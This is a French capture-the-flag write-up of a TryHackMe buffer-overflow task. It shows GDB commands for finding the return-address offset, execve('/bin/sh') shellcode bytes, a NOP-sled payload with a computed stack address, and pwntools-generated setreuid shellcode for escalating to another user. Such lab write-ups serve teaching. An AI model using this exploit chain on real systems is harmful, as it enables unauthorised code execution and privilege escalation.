THM - BOF - Task8
Etape 1 : Trouver l’offset
La premiere étape consiste à trouver l’offset qui nous permettra de remplacer l’adresse de retour. Pour ce faire, il existe 2 méthodes :
Méthode manuelle :
On voit dans le code source que le buffer fait 140 octes mais entre la fin de ce buffer et l’adresse de retour se trouvent des possibles octes de remplissage(alignement mémoire) et le registre rbp (pointeur de base) qui fait 8 octets sur une architecture 64 bits.
Ainsi, pour écraser l’adresse de retour, il faudra au moins 148 octets. Pour connaitre la valeur exacte, on va remplir notre entrée avec des caractères ‘A’ (\x41) et observer dans GDB à partir de quel moment on écrase effectivement l’adresse de retour.
On lance GDB sur le binaire :
1 | gdb buffer-overflow |
Puis on execute avec une chaine de 148 ‘A’
1 | (gdb) run $(python -c "print('A'*148)") |
Le programme plante avec une erreur de segmentation mais l’adresse de retour n’a pas été écrasé par nos ‘A’ car on ne voit aucun 41 dans l’adresse. En augmentant alors la taille de la chaine de caractere, on remarque qu’à 155 octets, on commence à écraser l’adresse de retour :
1 | (gdb) run $(python -c "print('A'*155)") |
Ainsi, avec 158 A, on peut écraser totalement l’adresse de retour :
1 | (gdb) run $(python -c "print('\x41'*158)") |
Ainsi, l’offset exact pour atteindre l’adresse de retour est de 158 – 6 = 152 octets
Méthode 2 : Avec Metasploit
Une autre maniere de trouver l’offset est d’utiliser les outils fournis par Metasploit. On commence par générer une chaine de caractères avec des motifs uniques avec pattern_create.rb :
1 | └──╼$/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200 |
On injecte cette chaine de caractère dans le programme :
1 | (gdb) run 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag' |
Une fois que le programme plante, on accede aux valeurs des regitres pour récupéré les valeurs de rbp ou de rip :
1 | (gdb) i r |
Ensuiten, on utilise pattern_offset.rb pour trouver l’offset exact :
1 | └──╼$/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 6641396541386541 |
Comme on sait que rbp est de 8 octes, on retrouve bien la valeur de 152 en faisant 144 +8
Etape 2 : Crée un shell code
Il existe différent shell code sur internet, l’un d’eux et le suivant :
1 | \x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05 |
Etape 3 : Trouver l’adresse du shellcode
Maintenant qu’on a notre shellcode, il faut s’assurer qu’il se trouve quelque part en mémoire à une adresse prévisible pour pouvoir l’executer. Il faut que l’adresse de retour pointe vers notre shellcode.
Pour cela, on construit notre payload de la maniere suivante :
- 100 octets de NOPS (\x90). C’est ce qu’on appelle un NOP sled, une rampe de glissade vers le shellcode
- 40 octets de shellcode
- 12 octets de paddinf pour compléter jusqu’a l’offset
- 6 octets pour l’adresse de retour
Cela fait un total de 158 octets. Pour trouver l’adresse de retour a mettre, on commence pas executer :
1 | (gdb) run $(python -c "print 'A'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + 'B'*6") |
Ensuite, on suite on essaie de trouver ce qu’on a injecter dans la stack :
1 | (gdb) x/100x $rsp-200 |
Lorsque l’on inspecte la mémoire dans GDB avec la commande x/100x $rsp-200, on peut voir très clairement le contenu du buffer que nous avons injecté. On distingue d’abord tous les 0x41 — ce sont les caractères ‘A’ que nous avons utilisés pour remplir la mémoire jusqu’à l’offset. Juste après cette zone remplie de ‘A’, on voit apparaître notre shellcode.
Pour trouver l’adresse précise à laquelle commence le shellcode, on se base sur ce que nous montre GDB. Sur la ligne qui contient le début du shellcode, l’adresse indiquée tout à gauche est 0x7fffffffe2a8. Cela représente l’adresse de la première colonne de cette ligne mémoire, c’est-à-dire les 4 premiers octets.
Or, on constate que notre shellcode commence à la quatrième colonne de cette ligne, soit 3 colonnes plus loin. Comme chaque colonne correspond à 4 octets, il faut donc ajouter 3 * 4 = 12 octets à l’adresse de base.
En hexadécimal, 12 s’écrit 0xC. Le calcul devient donc :
1 | 0x7fffffffe2a8 + 0xC = 0x7fffffffe2b4 |
On a donc déterminé que le shellcode commence exactement à l’adresse 0x7fffffffe2b4. C’est cette adresse qu’il faut utiliser pour remplacer l’adresse de retour dans notre payload. Ainsi, à la fin de la fonction vulnérable, le programme exécutera une instruction ret qui sautera directement à cette adresse, et exécutera notre shellcode.
Cependant, il faut garder en tête que la disposition de la mémoire peut légèrement varier à chaque exécution du programme. Cela peut être dû à l’ASLR (Address Space Layout Randomization) ou à des fluctuations naturelles de la pile. Pour cette raison, on insère un NOP sled — une série d’instructions NOP (\x90) — avant le shellcode. Cela permet au programme de « glisser » dans la zone de NOPs même si l’adresse est un peu imprécise, et de finir par exécuter le shellcode correctement.
Ainsi, en remplacant les A par les NOP et les B par l’adresse de retour désiré, on arrive a avoir un shell
En revanche, on voit que l’on est pas passé user2 comme prévu.
Cela s’explique parce que même si le binaire à le bit SUID et donne les privilèges de user2 (UID effectuf) notre UID réel reste celui de user1.
Or quand on lance /bin/sh, le shell vérifie l’UID réel pour éviter les abus et s’il voit une différence entre l’UID réel et effectif il retombe automatiquement sur l’UID réel.
Ainsi, pour corriger ca on doit utiliser dans notre shellcode setreuid(1002,1002) qui permet de changer à la fois l’UID réel et l’UID effectif.
Pour construire le shellcode permettant d’ajouter d’executer le setreuid, on peut utiliser pwntools :
1 | pwn shellcraft -f d amd64.linux.setreuid 1002 |
- pwn shellcraft : c’est l’outil de pwntools qui génére du shellcode prêt à etre utilisé
- -f d : options pour formater la sortie directement en chaine d’octets
- amd64.linux.setreuid 1002 : on demande un shellcode pour architecture amd64 de linux et l’appel système setreuid(1002,1002)
En remodifiant le shellcode et en ajustant les adresses mémoires et le nombre de nop, on arrive bien a avoir un shell en tant que user2 :